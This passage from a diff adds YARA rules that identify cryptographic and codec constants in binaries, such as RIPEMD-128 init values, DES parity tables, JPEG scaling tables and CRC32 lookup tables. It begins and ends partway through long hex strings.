F744F00A00F80EFA01F40000FDFBF5FA0C09F6FD0500070B0204FDF8FD070403FD2204F40DFB07F5FEFF01FCF2EB03FDFDFCF9F7FC03EFFEF30AFE0CFC00F701FB1F0AF606050604F90A00E4FD00F5FFFB10F6F0071402FC02FB000F0605F607F7140401F9FEF904FDFEF9FFF206F004FBFCFAFB00FE02FA09FB04EE08F6080F002001FB07FD070FFC00F00905FB0504FDF4F7EE0A0202FD0703FF06F7F6030FFC23F9FFF60202FCFE0A02FF02FE01FFF2F503F805F8FE06FFF901070507081EFC1E0E02FE010203F80300FE00F7020104FAFFFE050001FE0C06FD09FD04F415D918FE030501FEFEFEFD06F8FEF5F8FF040202FCF60CFBF501F1DEF5F9F5FF07F226FFFC0408090801FBF704FE0FFC0BF114FFFFFD04F7FEFEFE08060CFB000BF41BFC0008FC03F506F502030005F8F9FAF7EB04F5FFF0F910FD07F904FB000BF91F030103040BF5FEFDFA06050003F7FA04FC0004F80DFAF3FFFBFF04000009EA1812F9030AF3FA06FA06160100F2020307FF0814FF05FC0D09F7F70600FC00F81FFCFDFC00010703F90005FE01030301FBFE0502F50400FF0C00FDF30F08FAE52200FDFD0AFC02FFFD00FFFFFC0206FE0C0103FAF9FAFB04EDFAF8DEFCF80AF9170AF900FFFA0804FC02FBF8F9F7F8050907FA01F4F4FFF005001003F9F81BFC170FF8040805060BFD0503FFF506FB0002FAFDFA04FF05FBF4FA07FB090306F91D010103FEFEFAFE0106FAFD010203040105FF0004020B0602FD0DF7ED12F1F62415FDFD02FFF906FC01FDFFFE0203F9FD00FE00FE06ED03F802FA07FF001DFA1CF6FB01FDF9F4FC0101FF0DF6FFF7FBF3060D03FC02030B0206E7F0FA000EFF1B10FAFFF9FBFEFBFBFF09010003F8F4FA05FA0503F70104F9F6F7F9EFFBF1E91903F8FE09FDFC03FF08F9F9FBFCFE0904FFF9FCFBF003FA12F3F710F1080FF6180501DA0222090A0B0202FA0302FE0504F9FF0104000301F8FFFA050402FC0502FF01EA0F12FE0AF0F7F8F508040007F2FBFFF90C110905F9FCF4FA07000702FE01F5E3070A13FFF8F70701090608F9F208FDF5F300F9E9FEF80C09020E1301FF05E8E5F5240206FD04FA08000CFFFCFA0304FF02FDFE0302FFFEFC00FFFE070203F7E80B0DF6F40CFE0704080DFDFD0209FDFC040D050DFAFD010F07FD0013FEF7F8F1070EFCFB02EEEDFE02111006F60AF70EFFFBFFFAF902090B0D06FBF40302F6DB0D0103F200EC04FD0802FEFDF7FBFDEFFF0DF502FA0404000301F7FCFBFCFEEAFB2EF80509F5080707FFFFFEF902FD03FFFE070002FF01FEFEFD0600FCFAF0E50F10FC0EF9E602FE0605FD0B00020309F9FF02FCFCFF060A0101FDFE0300FDEA0A1A0102FD0311FDF90901EBFC050300F9FA0303F8F9F7030701F80C06F9F7E7031209FAF500FBF409F8F9FAFA1602FAFD0F0302FE090EF6F90F0D06FE0B05ECFB1C0B0AFCFC00F9030502FBF802060A09F7EE030E0103FDFFFA070702FFF8E2070C0A0807F3F00001FFFAF5F10401FE0AF1010BFE0809F9F909FB0207EEF6E00A0B03FF03FB05020EFA030105F1F506140400F4F90301FF0A06FFF7FCFF01E7F20CF50909F0E8EF16F70BE2FDFC06F90902FFFBFA02FFFF0A01FD030408F2E6FA090811F5E8F9FCF8FE0A0202FF020D0CF904FAF60606F3F5F9F000FE05FCE2F30C10FA0CF0F3050FFEFEF6F9070BFFFCFEFC0704F80103000B03FEFB04FCEB14160214F801F4FBF704F6EFFDF8FD03F401FD0007040707FD07050301FBF4EC021D0BFA09F9FAFC000611F3FEF6EFFFEE02000EFA01000302F601FBFE0510DBFF1AFEF201FBF20202030601010400FF00FEFE0409FA00FE0AF9FE040100F7E8F4050503EFF2040302FC0AEAF8FD06010CF8040109FF12FD060503FB09FBF2DFFE14F3F602F9FF0BF7F812FD010800FE0A07FEF309FDFC05FEFEFFFB01F9F6E9080E010701FDF904010108F90FF20D0E0205F3FBF8FF06030609060F0E05F3E7F60DEFE8F9F3FAF6F80200F3F6FCF804F709FC04FDFD0303FBF701FE0B02F4E90112F5FE0509FB050EF7FDFEFA02FE0BF301FD0BF7FCFEFA080A01040201FBEE1016020008FAF7F90AF0170AF5FF0702070201FB060100FC0902FD0100FCFDE60E0B02F711FEFFFBF0F7FB0AF301060C0A0B0000FDF206FE0004FBFFF9FFF6DF01080BFB01FA0704050601FEF6FBFA0CF505F6040CFFFFFD04FF090010EFF2DB0707FE05F8F502F304ED01080804F702FC030C0204FCF808010408FF06FEFAE2121101EAFD04F9F60700F808FF04020806FE0207040403FA0201FD01FFFBEFEEFD16F80109FEEF14FBFBF4FB04FBF708FE10FD0013F8080102FC000B00FDF7E9030A0404FDFEFEFE01EA0B00FE05FE0EF7F5FC07052001FDF90015F707FA00000002FF0100010300000100010001FD00FFFE00FFFFFDFF01FC01FFFBBBEDFDFBF8F404FDEDF5FB00F20712FA0716080E0F0A03FFFD05FF07F901FA03E6F5FFFA04FCFBF000FAFD0B010009051003FCDFFC04F9000106F5FEF3FEEE14E7F00400FF00FB010002000BF604F6071002100F02FF02090208FDFBFE00FD00DFFEFDF10A0AF7FF070305FBF8F8FD0FF7040C0DF3F20AFA0916E517FF05E802E20500FE07FBFB030503FDFB0201FC03FDFF01FE0A16FDFCFEFEF90308010E04DB09FDFCFF01FC00060206F9F6F6FFFC0BFD07FA04F4FF0501F90AFA11FC0803D80D020C04F90EFD10FE12020D0505010BFF000902FAFF02FA02FB030501FF01E0F9F00B07FC02FBF7090B0B0FF3F50B090403F8F60C0C0000F0F70D020904F3DF030604050403FF05060402F5FFF1F5FF010BFDFE18FCFAE7F6F1F80000FB04E2020AFDFA01F7FB0609F6FD08FF04FF0BF503090BFD06EF05F8DF09F313FE09E7020000FFFD00FE010000020100FE00FF0200FF04FF02FD04FE03030100F10CC11BFE0E09FF03000101ED0F030400F601FB0300FBF602F0FC08F4FA07FBF6FFDFFC000301030102040409FAF8FB01F40308F606FF010DFBFB02FC0DEEF6F9F7DF0AFAFDF405FF0BFA00FE0102F9030103FE0108F607FFFD03000D010607F0F9D908FAFF0B06FD0803FB0300FBFEFAFDFC02FD0DF501070513FBFDF1FF07FF06DF08F903FCFDFC0106FBFB06F8FFF904FFFAFE0107000101FB02FE00F3FEE1F2D9F4F60900FD01FFFF0001FBFFFCFE0502F912F8FEEDF9F9F4F2F5FFF7F3F9F4E1F7FDF00A0901F6F402FE0207FDFD01FCFBF7050703FF04F5F8040DF60D0AFCDC01F9F404ECF9F9020BFFFE03F40100FAF906040D03FD0403FAF405FBEAF3F8DBFAF90503050709F2FD0A11FF01F405FA00FCF700F5F2030D06E7F8F404F612E2FFF606F6060601F600F905FE11EEFC00FDF0FAFDF80501FC06F910060AFF00E0F5FF0909FB04090609FCFE070B0402FBFCFA0002FDFF050A000CF6EEFDFF0EDF0204F8EEFCFBF504F6FC090DF401FA010204F70803FA150DFFFE01FE06F900E20106FF02FDFFFC06FC00040202F7020603FE04FF09FA0007F80513FE09FB02DFF802010CFBF80803FEFC01FE05FCF7F8F807F5FC06F607FFFFFEFF1020F914DFFAEE02060D0909FF03EF18FEFA1C08FE0603F6DEF0F3FCF1F5F4FDF604F804E1FCF5001202F0F7F3FEFEF4FDEA1E00080309FCF00100F50FFEFC06FB060102E7F40EFF050703F1F80105FE0C0D0BE7030100FEFCF0E900FBEF0705F706FB02E0F903FF060E02F4F7F70407040605F804020405FE0808FA000AECFF03FF0817DFFBFD0BFA03FC0507030405FE03FF1E060108FA0000F706F7040209FA01F400DE12EF0D000109FCF5000700F6FCFF06FA040106F703FBFAF502FC0E17FD0205E20CF205E502000701041E08070501FF000508F630F50C210608F114FEFB2005ED0AF0FCF4F9FE0008FAECEE10FD001FFE0B02F731EDF4E90A1A10FE04EBF20DF5F7FBF7FF03FBEB020A00000AEBF907E6F716203A0BFD0BFBF8F306FBF7010A0EF807070A03FEFFF5F5FAD5FD0EEDEE1312E00A2DFA0615ECF402040606FC0303011516FDFEF5FAFFFE080820EB071CFCFAFDFE3202021BFBF80C07FBFFFCEF1B060D0702FAF402F6FBEF0B0411F4FE05EF25F030F2EE1D08180BFBF70BFF01F3FD0101FF02000000FF01FF0702FD030006020A36E70736FBFAFFF1090DE8F1F40315050803FDFCFEFC03F5FBF8091008F7F6FD2ED20201F60A110BECDC0A0E00FB07F3FAF7E82D0208080011140CE801F9F1FD2EF3FE1401F3F5F3020F010AFF03000000000000000000000000FF00FEFFF0F71FBBDE1A0711FFFAFF0000000000000000000000000000000000000000FCFBEC12AE1603F909040602FCFF00FE02000000000000000000000000010004FF0FFB3EDC0434F905000601020101FF0003ED13EC0DFCF50808F00A01F21E01DF0AF52DE203FCFDF3070C03EA03FEFCFEFF0000000000000000000001000002010B084630F6150409F7F7FCFA00FF00000000000000000000000000000000020002FF5002F1DCF6FBFE08FE02000000000A08F8F8E80CFF001409FFFE02FE0CF6FEF323D52C0FF6E7040AFDFBFB07FF030101010100000100000000000000FEFFEE0931B807F807FB020302FE01FEFD01FF04FD0A1304031406E80609080F1212DC1339F504FD080702FDFEF7F1FE0CFC14030BF7FC162AE70105F6ED0009F005020A2CE311FDF7FEFF080EF9FF10FB01F910F50C0621F10EE902E608020A00FB08F826DAFC0505050116F1070600041CFFF4020AFE0007110C16FC0A191D051204011BD91F11020216E90D1001F9FCFB00010000000000000000FF00FE00F200F9F531EAFC1311D904E30A0224FC17FFFEFEFEFE010FFBF9F0F8ED10FDEC24F7FD1427EC00021BF00A0AF2EAF0FD0DF805F706E707250DF6FB03FB0712EAF909FBFC32F5FCFBFB08FCFEFCE50E1407F700F2F6E5F2EFFA1A0A020EF4FB00080900E437F9F4F904F60A07F40B030509F8021704FEFFECFE0E0AF7F7E80A000BF40C0B31E7FE1D07F315F60BEF0301F8050300F2FA12FE11F7ED09FB090E0613FD1B0129EB14F121001A0E070A0314FDF4FF100FF803F8F815FBF0E30401FAFCE4021F25E6FE0D1808F7FAE30A07020708F6F60B0DE00210090E17F1F3180D04E50E0C1FEE1117FEF9F209EFFAF614090600000000000000000000000000000200050159080AFA02FF0000000000000000000000000000000000000000000002FF04F940CE072502050000000000000000FE0503FCFCFD02FD03FD050401FAFF0106FE32DDF92B07F9FBE6181503F10506F815ED21F816F511030000FE01FD06FF0AF804F5FCFB0008FC0301FC04020804F905EC09EA03F201060D17FEFCF902000B040603F9F5F9040505F408020407FDF906FC14EC10FE0706100B0CF9F90503F7FC0102050201F7FEEFFC06F607F9FAF712EF0CE801FF040E0904030208F4F204F8FC070706FF0DF7FCFF0100FC0F08E702F506FB18E4FB080CFE0608FD08F7FFFBFFFB06FFFFFFFC08F4FEF3070201F20EEE14F60CFE0901000CFE0FF61AEF10F50AF609FE04F802FD040402FDFB01EE0CEE15FA0CFA0DE712010BF7FB000AFB03FD08F7070402F700050002FD09F8FC100112E2090106F80D0DF4FAFF0D070602F1FD050501FA01FB0002F00003FCEB01FE06D512FF05FF0406FEFFFDFFFD000102F700FF00FE00FFFFFE060001FEE90A0407E0F5EE02FEF9FAFDFDF41303FBFA10FA1002101008FE0D08F1F5020AF802F302E318EC13010AFC0A0102F70BFFFE09FB13F910F7FEEE0B01010007FDFA03040DE60AF61CF91C010700F2050704FC03FE0303F507060400FF02FFFD02FA10E10DF611FA04F20404FFF60CFB01F20F00F801FB030309FB07EC07040BFBED03EF0EF410EA120E08FE040A0CF204FD020307F907FA02FEFCFB00FBFE0201F7F9F518DCF7F50507F4F312FE1401FCFFF60FFA0E0100020102F7F0F5070D00E818EE12EA0EF50DF40BF60BF90BFBFCFF01050203FF01FB07FC05FA08F908FAFA12EA16050BFF0613160804F814FE0FFAEE00DFF7F4FF0605020505FBEFFDFD010BF009EE0BFC12141AF60801F508FC0007030502020AFEFC04FCFE01FCFBFFF606FF12EF1BFD0AFE0CF9F70101FF07F4FFF9FAFF0803F1080903F904FF01FFF206F01602050005EE0B06FD16ECF7FD06FAF9F1010FF80B08FDF801F80206FEEB05ED13F904F900F8060C05FDEAF3FAFFFDFEF206FD01F8F9FBFA0BFDF6FB02FF09F40FFA06ED0EF70B030CEFFD08FCFDFC01FB0405F9F1F90FFAFB01FBFD01F414F114F203F209FA21F306FE08FA07FBFAFDFD0008FDFD01FE020206FBFBFEF90CEE0CEE0AFC08020408090003F80306F4FC0119FBF706F900F7F903FBFCFCEE0CF60BEA00F105FE02FD06FCFCFDF1FEFD1506F4F5130303F20700F5EAF600F102E20FEF0DF008F90AF8020B030AF907EA0CF603F406F60CF607F805020901F70BF206F615050CFB0507150602FEFFFF0402ECEEFFF203FF04F90A010B04FCEA08E20DEBFC04FF0C09FEFD02FA04F3FE080801F903FCFBFFF9FE0808070800FAFCDD10F30FF50EF909FF0B07000D0AFF080101FE08FF020203F6FF07F3FDF9F107F00EEE11FA0E030407FD0AEA05F104FCF50FF10BF514010002010BFD0BF9F4030510DBFF0F0FF10A03F6010F07F1F30809FD020CF802FB00FD0405F7FC05F01AFC0EEA1A06FDF804150610FCF507F6030307FC02F708FE0205FEFCFE07FFF9F6040302FCF4F6FCFB1013F00102F7F6000907F8030C08FAF5F3FFFDEC06FBF2EF03FB0EF4F408FAE715150AF8F4040AFC03F70B09000402F101F2040100FCFCF7FDFF0603FA06F6FC0E0802FDF4ED000BEC0106FEE5FA0AEFF2EFF708F803F4F310FCFE0CF9F502F30307F0EEFFF4FE01F4F7FEFA0209EAFDFCF2F907FF02F9F8F80F0F120F10FCDB0B0FF4FFFD03060600FBFDFB090101F5FFF8FA020300FA07FBF40D0AEEFCFDEB0610F1F9F4F701F4FF0AFEFFFD04FC01F0FF0CF70509F2FB0903041AE403FAE80405030D05FF03FF030101FB0300F9F8F9FD03FB0400FC02F6FA191AFA0AFAF80F0BFAFD02F9050E09FF00F404FCF601FD03FEFEFAFFF608F1F61311F800FDF90705F3FF07F9010DF4F311F4011AEEFDFBFA0405080102FB0300000002FDFEFB070DFC0900FB04FFF5F8FC00F302D1E9F8F5FC04FEFDEEFC0405FF11F4F801F40714F403FEF5100CFA01F3F0FAFDFDFB04F4FBF70A01F5000407070803FF03ED2008EDF80204F40FF0030109FE01FE080506FCFF0BF803FF04FE0E20F7E9F6F4160FFFFE0A000406F804F1FEFFFC00F80401F8030401EFF406F8100DECF8FFF00A15ED0BF7FB0712FA07F9EE0D02FE08F4F70204FB10040011F50C07F405FFE71EF8F9FAFCF90908070303F00800FEFEEEFDFCFB0104FDFA06F01106FD02F7EF0C0B0B02EC0801010002FEFAEBF3F7F1FFF8FAF800FEF5F906F70306081004FB171AF6FD04000202FC04FEF40C0AF500F6F0030000F6FBF00AFA1B0DFD04FEF30F05020503FC0D0CF5F900010B0C020DF1F809FE0308FBF804030903F50A0EE70E08FE05F4EB020AF902FD020002FFFDFBFAFFF00208FF0501F50509F908F3F4040CFC01FFFF1B1D0A0F02FAFD04EB0AF7F5FAFFF7FDFAFDFFFA0BFB00FEFBE10B03FF05FD040507F605F6F3040CF1FE02F901F7FDF6FDF911F8FB2408F9F8EC0C0801FF03000104F6030104FEFDFEFDF604FFF90302F3FDFB091606E903F6F9111112F2F8F80204F802FDF80604FF070000FD00F4FDFDF6F1FD0903E9F7F3EE0C0DFE000108FF02F9F4FB0E0201EA06F6F8F71CF9F2FD0102FF0D07FEF901FD0609FDFE04FE0201F6FEFEEAFEF9F6FBF5E5F4F004F902FAFD010800FE0CFDFC3A0FF6FCFE02FE00FEFA0204FF01FC01FFFBFCFD03010AFF00051507F206FDF00F11F00D03FAFC06F4FB01FCF9F80203FA06FFF80504FAFEF8F50F0A0008FAF12108FE12F1F505FF000FF1FCFCFF0A07F304FC000803F9FE00FE00FEFCFBF2F00C26070C06FC00FF0003FEFA0002F70100FF00FE0401F8FC12010E05F4FD14EF0513F5F80BFD0309F9F809EF020FF6F505FB070FFAFEF90226051310FB04F3EC0004FC060402F906F8FEFBF90603FCFDFEFD07FAFC00F5F408F1FD0EF9EAF502160EED02EDFA0103EE0E02FAFEF8FDFA05F9F8FC0101080719EB0CFAFBFCF606000A01F412FBF104010EFF0508F901F9FD090A01FF00090A20F108020BF9EEF802FAF7F0FD03FF0301FB04FE01F800FAFDF5010500000E0017E71603070A00FE0708000A0000030203F6000A00F9000AFFFBF901FF020C0019EEFBFC0DF603FA071500F003F6FA05F9FD020503FA0409F80CFE0302041F0F1BEC0AF90FF609F804FB03FD05060BFEF4FE06FE0102FFFF0101030101020CFC0DE90CFA0204FD0D06F905EDF91201F9070110F903000300F408F50904071D0103EAFB06000CF20B0106FD0406FE04F30C010103F509F6FFF910F5FF0309040424E9FBF8F101FA030DFFFBF9040902F5FD050103FAFFFCFCFE0203FFFBFE130A06EF02FCFEFCFD0D0202F3F9FDF509FA01F7FB04FBF7EEF9F50904F5080410FD09F012FEF4F0F50BEE10F30602080308FCF00AF5FFFDF805F7FC09FC00FD0E0F03E9FB07F8FA0211020CF8F40DFFF7030101130F04FF0102FD02FD0105032005F6D1FBFF040BF90002FE01F906FC0602FCFE02FE00FC01FAFB02FEFFFDFC14080AEBF9F7F00C010406FB09F5F904F51CFD0204FA0AF8FBFBF709FEFF06FB260317E7FAEE03F6F806F601F6020200F902FC05FF08FD000303FF0100FCFC00140510EA18EE02F4F2F9FD0A0207F602F80108FF040104FE05F7EEF8F305F50A0E08F4F009F5FDFAE7F90605F9F00A02F9FFF7FD10040303FDFDF10DFD040DF910F713E907EDFDFBF10BEB15F012FF060AF612F210F106FBF705EF0DF60D000A08FC04E808EBEE09F504FA1105F7FEFE020FFEFDFE0107F30FF6F8F50303FFFF0E1106E005EFFE000FFFFB1001FBFE09FD0804FEFEFCFD010007FD04FB00F902180616F40803F204F9080605060106F40F0A040B0906F9FC0AF702FFFB0B0F03110C03E905FFFE01F7FFFD010801FB110B00FEF5070400E5F90102F8090705030C0A0CF6FC05FF02E805F80206EF13050CFE10F9FAF20401FD0DF005FF0401011F090BEF0AFDF90701020204FDFF0B04FBF801040FFAE4010803FA0511FE02FC0B1310E600F9F902F3F1F409FD1B0804FA0104FA0BFFFAF9FD00FA04FAF9FDFF0A1210E013F7FCFDF90808FDF5FEFAF00D0DFAFF0AFEFEF700FD09040BFEFA06090413DF0407F424FDFF08FE02F8F7FCF80001FF00FCFC0300030600FA0200FE19070FF402E8FF18FC040900FEF70406030DFD0105FFFDFBFF07FE0304040100130608EC09F705FCF3070BFD05F3F706F5FF00040B1A0306F90C06FD01F707010F0613E9FDF70310FAFC06FBF60110F2020002F3FD08FA03010102FB0CFCF8FD0E0410EC010C0006FD0904100AF0050705FCFCEEFDF5FC04F9030D07030302F91603FFE212FDF709FE0BF0FEF20C0004FB04FF03EC0C04F6FEFEF4F40A060BFD0F0702EB050409F7DF070703FAF2F80A0C0002FF0504FE00F9 }
+
+condition:
+	$a0
+}
+
+	
+rule RIPEMD_128_InitState__32_lil_AND_
+{
+strings:
+	$a0 = { 76543210[0-20]01234567[0-20]89abcdef[0-20]fedcba98 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_dca_lossless_quant__32_lil_128_
+{
+strings:
+	$a0 = { 000000000000400000002000b81e150000001000be9f0a0000000800df4f0500000004000000020097ff0000028100004240000010200000041000000108000000040000000200000001000080000000400000002000000010000000080000000400000002000000010000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Wake_crypto_algorithm__32_big_32_
+{
+strings:
+	$a0 = { 726a8f3be69a3b5cd3c71fe5ab3c73d24d3a8eb30396d6e83d4c2f7a9ee27cf3 }
+
+condition:
+	$a0
+}
+
+	
+rule sfb_24_960__16_big_94_
+{
+strings:
+	$a0 = { 00040008000c001000140018001c002000240028002c0034003c0044004c0054005c0064006c0074007c0088009400a000ac00bc00cc00dc00f00104011c01340150016c018c01b001d401fc02280258028c02c003000340038003c00000 }
+
+condition:
+	$a0
+}
+
+	
+rule BGMC_Cumulative_frequency_table_10__16_big_386_
+{
+strings:
+	$a0 = { 40003f313e623d943cc63bf93b2c3a60399438c937fe3734366a35a134d93412334b328531bf30fb30372f762eb52df62d382c7c2bc02b072a4e299728e1282d277926c52611256024af2402235522ac2203215d20b720151f731ed61e391d9f1d051c6d1bd51b411aae1a1f19901906187c17f5176e16ec166a15ec156f14f4147913fe1383130b1293122011ad113e10d010660ffc0f960f300ece0e6d0e100db30d570cfb0ca30c4b0bf80ba50b560b070aba0a6e0a2209da0992094e090a08c808860844080207c307840748070c06d4069c0666063105fe05cc059d056e0542051604ea04bf0496046d0447042103fd03da03b8039603770358033b031e030202e602ca02ae02930278025f0246022f0218020201ec01d801c401b1019f018e017d016c015c014d013e013001220115010800fc00f000e500da00d000c600bc00b200a8009e0095008c0084007c0074006c0065005e00570051004b00450040003b00360031002c00270023001f001b00170013000f000c0009000600030000 }
+
+condition:
+	$a0
+}
+
+	
+rule DES_odd_parity__8_byt_256_
+{
+strings:
+	$a0 = { 010102020404070708080b0b0d0d0e0e101013131515161619191a1a1c1c1f1f202023232525262629292a2a2c2c2f2f313132323434373738383b3b3d3d3e3e404043434545464649494a4a4c4c4f4f515152525454575758585b5b5d5d5e5e616162626464676768686b6b6d6d6e6e707073737575767679797a7a7c7c7f7f808083838585868689898a8a8c8c8f8f919192929494979798989b9b9d9d9e9ea1a1a2a2a4a4a7a7a8a8ababadadaeaeb0b0b3b3b5b5b6b6b9b9bababcbcbfbfc1c1c2c2c4c4c7c7c8c8cbcbcdcdceced0d0d3d3d5d5d6d6d9d9dadadcdcdfdfe0e0e3e3e5e5e6e6e9e9eaeaececefeff1f1f2f2f4f4f7f7f8f8fbfbfdfdfefe }
+
+condition:
+	$a0
+}
+
+	
+rule Borland_Jfif_CrR_Table__32_lil_1024_
+{
+strings:
+	$a0 = { 4DFFFFFF4EFFFFFF4FFFFFFF51FFFFFF52FFFFFF54FFFFFF55FFFFFF56FFFFFF58FFFFFF59FFFFFF5BFFFFFF5CFFFFFF5DFFFFFF5FFFFFFF60FFFFFF62FFFFFF63FFFFFF64FFFFFF66FFFFFF67FFFFFF69FFFFFF6AFFFFFF6BFFFFFF6DFFFFFF6EFFFFFF70FFFFFF71FFFFFF72FFFFFF74FFFFFF75FFFFFF77FFFFFF78FFFFFF79FFFFFF7BFFFFFF7CFFFFFF7EFFFFFF7FFFFFFF80FFFFFF82FFFFFF83FFFFFF85FFFFFF86FFFFFF87FFFFFF89FFFFFF8AFFFFFF8CFFFFFF8DFFFFFF8EFFFFFF90FFFFFF91FFFFFF93FFFFFF94FFFFFF95FFFFFF97FFFFFF98FFFFFF9AFFFFFF9BFFFFFF9CFFFFFF9EFFFFFF9FFFFFFFA1FFFFFFA2FFFFFFA3FFFFFFA5FFFFFFA6FFFFFFA8FFFFFFA9FFFFFFAAFFFFFFACFFFFFFADFFFFFFAFFFFFFFB0FFFFFFB1FFFFFFB3FFFFFFB4FFFFFFB6FFFFFFB7FFFFFFB8FFFFFFBAFFFFFFBBFFFFFFBDFFFFFFBEFFFFFFC0FFFFFFC1FFFFFFC2FFFFFFC4FFFFFFC5FFFFFFC7FFFFFFC8FFFFFFC9FFFFFFCBFFFFFFCCFFFFFFCEFFFFFFCFFFFFFFD0FFFFFFD2FFFFFFD3FFFFFFD5FFFFFFD6FFFFFFD7FFFFFFD9FFFFFFDAFFFFFFDCFFFFFFDDFFFFFFDEFFFFFFE0FFFFFFE1FFFFFFE3FFFFFFE4FFFFFFE5FFFFFFE7FFFFFFE8FFFFFFEAFFFFFFEBFFFFFFECFFFFFFEEFFFFFFEFFFFFFFF1FFFFFFF2FFFFFFF3FFFFFFF5FFFFFFF6FFFFFFF8FFFFFFF9FFFFFFFAFFFFFFFCFFFFFFFDFFFFFFFFFFFFFF000000000100000003000000040000000600000007000000080000000A0000000B0000000D0000000E0000000F000000110000001200000014000000150000001600000018000000190000001B0000001C0000001D0000001F000000200000002200000023000000240000002600000027000000290000002A0000002B0000002D0000002E00000030000000310000003200000034000000350000003700000038000000390000003B0000003C0000003E0000003F000000400000004200000043000000450000004600000048000000490000004A0000004C0000004D0000004F000000500000005100000053000000540000005600000057000000580000005A0000005B0000005D0000005E0000005F000000610000006200000064000000650000006600000068000000690000006B0000006C0000006D0000006F000000700000007200000073000000740000007600000077000000790000007A0000007B0000007D0000007E00000080000000810000008200000084000000850000008700000088000000890000008B0000008C0000008E0000008F000000900000009200000093000000950000009600000097000000990000009A0000009C0000009D0000009E000000A0000000A1000000A3000000A4000000A5000000A7000000A8000000AA000000AB000000AC000000AE000000AF000000B1000000B2000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Jpeg_dct_14_bit_aanscales__16_lil_128_
+{
+strings:
+	$a0 = { 0040c5589f53424b00404932a322a811c558217bfc736268c558bf450b307e189f53fc73416d54629f53b341412d1217424b626854627e58424b213bba28c3140040c5589f53424b00404932a322a8114932bf45b341213b49328227371be00da3220b30412dba28a322371bbf128e09a8117e181217c314a811e00d8e09df04 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0x76dc4190__32_lil_refl_True_
+{
+strings:
+	$a0 = { 00000000ac2b060458570c08f47c0a0c6dd81c03c1f31a07358f100b99a4160fdab03906769b3f0282e7350e2ecc330ab76825051b432301ef3f290d43142f09b461730c184a7508ec367f04401d7900d9b96f0f7592690b81ee63072dc565036ed14a0ac2fa4c0e368646029aad400603095609af22500d5b5e5a01f7755c05b5b5e20b199ee40fede2ee0341c9e807d86dfe087446f80c803af2002c11f4046f05db0dc32edd093752d7059b79d10102ddc70eaef6c10a5a8acb06f6a1cd0201d49107adff970359839d0ff5a89b0b6c0c8d04c0278b00345b810c98708708db64a801774fae058333a4092f18a20db6bcb4021a97b206eeebb80a42c0be0eb71dc1041b36c700ef4acd0c4361cb08dac5dd0776eedb038292d10f2eb9d70b6dadf802c186fe0635faf40a99d1f20e0075e401ac5ee2055822e809f409ee0d037cb208af57b40c5b2bbe00f700b8046ea4ae0bc28fa80f36f3a2039ad8a407d9cc8b0e75e78d0a819b87062db08102b414970d183f9109ec439b0540689d0102a8230fae83250b5aff2f07f6d429036f703f0cc35b3908372733049b0c3500d8181a0974331c0d804f16012c641005b5c0060a19eb000eed970a0241bc0c06b6c950031ae25607ee9e5c0b42b55a0fdb114c00773a4a04834640082f6d460c6c796905c0526f01342e650d9805630901a17506ad8a730259f6790ef5dd7f0a6e3b8209c210840d366c8e019a47880503e39e0aafc8980e5bb49202f79f9406b48bbb0f18a0bd0becdcb70740f7b103d953a70c7578a1088104ab042d2fad00da5af1057671f701820dfd0d2e26fb09b782ed061ba9eb02efd5e10e43fee70a00eac803acc1ce0758bdc40bf496c20f6d32d400c119d2043565d808994ede0cdb8e600277a5660683d96c0a2ff26a0eb6567c011a7d7a05ee017009422a760d013e5904ad155f005969550cf54253086ce64507c0cd430334b1490f989a4f0b6fef130ec3c4150a37b81f069b93190202370f0dae1c09095a600305f64b0501b55f2a0819742c0ced08260041232004d887360b74ac300f80d03a032cfb3c07d926430d750d450981714f052d5a4901b4fe5f0e18d5590aeca953064082550203967a0bafbd7c0f5bc17603f7ea70076e4e6608c265600c36196a009a326c046d473001c16c360535103c09993b3a0d009f2c02acb42a0658c8200af4e3260eb7f709071bdc0f03efa0050f438b030bda2f1504760413008278190c2e531f086c93a106c0b8a70234c4ad0e98efab0a014bbd05ad60bb01591cb10df537b709b62398001a089e04ee749408425f920cdbfb840377d0820783ac880b2f878e0fd8f2d20a74d9d40e80a5de022c8ed806b52ace091901c80ded7dc2014156c4050242eb0cae69ed085a15e704f63ee1006f9af70fc3b1f10b37cdfb079be6fd03 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0xcb61b38c__32_lil_refl_False_
+{
+strings:
+	$a0 = { 000000008cb361cb94d4a25d1867c39628a945bba41a2470bc7de7e630ce862ddce1eabd50528b76483548e0c486292bf448af0678fbcecd609c0d5bec2f6c903470b4b0b8c3d57ba0a416ed2c1777261cd9f10b906a90c0880d535604be329de8915e0d64223fc67c45fc50f0f69d9bc0381bb64c8b7a7d54ecb9ebd85fd820e45309aa68e068617087abf7fc34ca3cccfa4c1140492dda582eee4cd49d8f8738b2e317b40182dcac66414a20d52081101ba6ac9ca8c76784cf04f1087c653ad023bd1a5c90dcd144f71f47c8447e8cf88af8a17439996a6c5e5afce0ed3b370cc257a78071366c9816f5fa14a59431246b121ca8d873d7b0bfb0413c0cd18a4414739fc8a71254d0c0d1c25c73b0096cbd3624e00e57eff869947974daf5b298f599221446f8e90c213b7f80925ab4b05cdc993cefbd5224887ec4a83b1f0f7064c72ffcd7a6e4e4b06572680304b958cd8294d47ee35fcc1920c940aa4102ac852d9220364c5938518fcfb4e2ee04842c6829089f09e210f8ca749c4babbfa0477a352cf41bfe3493d868b820b9a388ee3f8e045d5e451c3a9dd39089fc187ca69088f015f143e87232d564c1531e540fd533d8bcb4f8c0db776e4c6816a59437ce851884af4e00e36cd88c500d13bc9e8b3e302deaf5284a2963a4f948a848d62438c46545f3dc02866550b1e7ae607f6183eccc0048f4abc3de7818a215049b87f58828e63e904f25a81cfc44632c32c24ea081a385b8e66013345501d8d87a6d4854c90c834caecf15c01daedef0d328f37c60493864078aaee8b4eb6530eb3345bc58528ea43f9118288cf0d3184276fe94f117358c96d4a30025b568ec0ad9f860b9b83378de7ba5f46d1a6ec4a39c434810fd8850773e1edcc45fd5e0c88e5f6c7bef94741c2c02f8af4dc9c861cbe444d2aa2f5cb569b9d00608723c2964e2b09a0529a8fdc6bf244ea7741480215998334092805483040ce7e2cfd4b83aef580b5b24406c98b2ccdff979fc117f5470a21e9f68c5dd09e476bcc20859d05284eab1999c8d720f103e13c420f095e9ac43f422b42437b43897567f408ff46acc3c95a1d45b563758e837fc6826b1d1e495d01afcf2138c704172479c6e1ed710dd7f1c08babc8a8409dd41b4c75b6c38743aa72013f